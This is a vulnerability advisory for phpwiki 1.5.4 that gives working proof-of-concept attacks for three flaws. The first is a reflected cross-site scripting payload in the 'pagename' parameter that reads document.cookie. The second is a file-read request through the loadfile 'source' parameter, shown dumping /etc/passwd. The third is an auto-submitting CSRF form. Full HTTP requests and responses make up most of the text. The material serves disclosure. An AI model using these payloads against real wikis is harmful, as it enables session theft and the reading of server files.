phpwiki 1.5.4 Cross Site Scripting / Local File Inclusion

2015.08.30
Credit: Smash_
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Title: phpwiki 1.5.4 - Cross Site Scripting / Local File Inclusion # Date: 29.08.15 # Vendor: sourceforge.net/projects/phpwiki/ # Affected versions: => 1.5.4 (current) # Tested on: Apache2.2 / PHP5 / Deb32 # Author: Smash_ # Contact: smash [at] devilteam.pl 1/ Cross Site Scripting Cross-site scripting vulnerability in user preferences allows remote unauthenticated users to inject arbitrary web script by injecting code via GET or POST 'pagename' parameter. Example url: http://192.168.0.10/phpwiki/index.php?pagename=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C!-- Example request: POST /phpwiki/index.php/UserPreferences HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: folder_p-tbx=Open; PHPSESSID=3ko4uprjgmnjtmfkes3dnh0gk4; PhpWiki_WIKI_ID=admin Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 260 pref%5Bemail%5D=&pref%5BnotifyPages%5D=&pref%5Btheme%5D=&pref%5Blang%5D=&pref%5BeditHeight%5D=22&pref%5BeditWidth%5D=80&pref%5BtimeOffset%5D=0&pagename=UserPreferencesabc%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--&action=browse Example response: HTTP/1.1 200 OK Date: Sat, 29 Aug 2015 21:30:47 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.41-0+deb7u1 Vary: Accept-Encoding Content-Length: 16114 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html (...) <script type="text/javascript"> <!--// var rateit_imgsrc = '/phpwiki/themes/wikilens/images/RateIt'; var rateit_action = 'RateIt'; // --></script> <script type="text/javascript"> <!--// var data_path = '/phpwiki'; var pagename = 'UserPreferencesabc</script><script>alert(document.cookie)</script><!--'; var script_url= '/phpwiki/index.php'; var stylepath = data_path+'/themes/Sidebar/'; var folderArrowPath = '/phpwiki/themes/default/images'; var use_path_info = true; // --></script> </head> (...) 2/ Local File Inclusion Directory traversal vulnerability in file load section allows authenticated attackers to read arbitrary files via POST or GET 'source' parameter. Content of file will be later available in created page. Example url: http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration?action=loadfile&overwrite=1&source=/etc/group #1 - Example request: POST /phpwiki/index.php/PhpWikiAdministration HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration Cookie: folder_p-tbx=Open; folder_p-tbx=Open; PhpWiki_WIKI_ID=admin; PHPSESSID=643k8jmar8jielfn3metobp625 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 76 action=loadfile&overwrite=&pagename=PhpWikiAdministration&source=/etc/passwd #1 - Example response: HTTP/1.1 200 OK Date: Sat, 29 Aug 2015 22:09:36 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.41-0+deb7u1 Vary: Accept-Encoding Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Content-Length: 3534 (...) <a id="contentTop"></a> <h1 class="firstHeading">Loading “/etc/passwd”</h1> <div id="bodyContent"> <em><a href="passwd" class="wiki">passwd</a></em><span> from “plain file /etc/passwd” content is identical to current version 1 - no new revision created</span><p><strong>Complete.</strong></p> <p>Return to <a href="PhpWikiAdministration" class="wiki">PhpWikiAdministration</a></p> (...) #2 - Example request: GET /phpwiki/index.php/passwd HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration Cookie: folder_p-tbx=Open; PhpWiki_WIKI_ID=admin; PHPSESSID=643k8jmar8jielfn3metobp625 Connection: keep-alive #2 - Example response: HTTP/1.1 200 OK Date: Sat, 29 Aug 2015 22:10:34 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.41-0+deb7u1 ETag: W/"97df6cb9b2668497eb1a804ab9c18eb8" Last-Modified: Sat, 29 Aug 2015 22:09:55 GMT Cache-Control: must-revalidate Expires: Sat, 29 Aug 2015 22:10:14 GMT Vary: Cookie Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Content-Length: 22599 (...) <div class="wikitext"><p>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh <a href="news:x:9:9:news:/var/spool/news:/bin/sh" target="_blank" class="namedurl"><span style="white-space: nowrap"><img src="/phpwiki/themes/Sidebar/images/url.png" alt="" class="linkicon" />news:x:9:9:news:/var/spool/news:/bin/sh</span></a> uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server<sub>,:/nonexistent:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false colord:x:103:107:colord colour management daemon</sub>,:/var/lib/colord:/bin/false usbmux:x:104:46:usbmux daemon<sub>,:/home/usbmux:/bin/false miredo:x:105:65534::/var/run/miredo:/bin/false ntp:x:106:113::/home/ntp:/bin/false Debian-exim:x:107:114::/var/spool/exim4:/bin/false arpwatch:x:108:117:ARP Watcher</sub>,:/var/lib/arpwatch:/bin/sh avahi:x:109:118:Avahi mDNS daemon<sub>,:/var/run/avahi-daemon:/bin/false beef-xss:x:110:119::/var/lib/beef-xss:/bin/false dradis:x:111:121::/var/lib/dradis:/bin/false pulse:x:112:122:<span style="text-decoration: underline" class="wikiunknown"><span>PulseAudio</span><a href="PulseAudio?action=create" title="Create: PulseAudio" onmouseover="window.status=&quot;Create: PulseAudio&quot;; return true;" onmouseout="window.status='';return true;" rel="nofollow">?</a></span> daemon</sub>,:/var/run/pulse:/bin/false speech-dispatcher:x:113:29:Speech Dispatcher<sub>,:/var/run/speech-dispatcher:/bin/sh haldaemon:x:114:124:Hardware abstraction layer</sub>,:/var/run/hald:/bin/false iodine:x:115:65534::/var/run/iodine:/bin/false postgres:x:116:127:PostgreSQL administrator<sub>,:/var/lib/postgresql:/bin/bash sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin redsocks:x:118:128::/var/run/redsocks:/bin/false snmp:x:119:129::/var/lib/snmp:/bin/false stunnel4:x:120:130::/var/run/stunnel4:/bin/false statd:x:121:65534::/var/lib/nfs:/bin/false sslh:x:122:133::/nonexistent:/bin/false Debian-gdm:x:123:134:Gnome Display Manager:/var/lib/gdm3:/bin/false rtkit:x:124:136:<span style="text-decoration: underline" class="wikiunknown"><span>RealtimeKit</span><a href="RealtimeKit?action=create" title="Create: RealtimeKit" onmouseover="window.status=&quot;Create: RealtimeKit&quot;; return true;" onmouseout="window.status='';return true;" rel="nofollow">?</a></span></sub>,:/proc:/bin/false saned:x:125:137::/home/saned:/bin/false devil:x:1000:1001:devil<sub>,:/home/devil:/bin/bash debian-tor:x:126:138::/var/lib/tor:/bin/false privoxy:x:127:65534::/etc/privoxy:/bin/false redis:x:128:139:redis server</sub>,:/var/lib/redis:/bin/false</p> </div> (...) 3/ Cross Site Request Forgery Since there is no csrf protection in application, remote attacker is able to trigger specific actions. PoC: <html> <!-- Change settings / XSS --> <body> <form action="http://192.168.0.10/phpwiki/index.php/UserPreferences" method="POST"> <input type="hidden" name="pref&#91;email&#93;" value="" /> <input type="hidden" name="pref&#91;notifyPages&#93;" value="" /> <input type="hidden" name="pref&#91;theme&#93;" value="" /> <input type="hidden" name="pref&#91;lang&#93;" value="" /> <input type="hidden" name="pref&#91;editHeight&#93;" value="22" /> <input type="hidden" name="pref&#91;editWidth&#93;" value="80" /> <input type="hidden" name="pref&#91;timeOffset&#93;" value="0" /> <input type="hidden" name="pagename" value="UserPreferencesabc&lt;&#47;script&gt;&lt;script&gt;alert&#40;document&#46;cookie&#41;&lt;&#47;script&gt;&lt;&#33;&#45;&#45;" /> <input type="hidden" name="action" value="browse" /> <input type="submit" value="Go" /> </form> </body> </html>

References:

http://devilteam.pl


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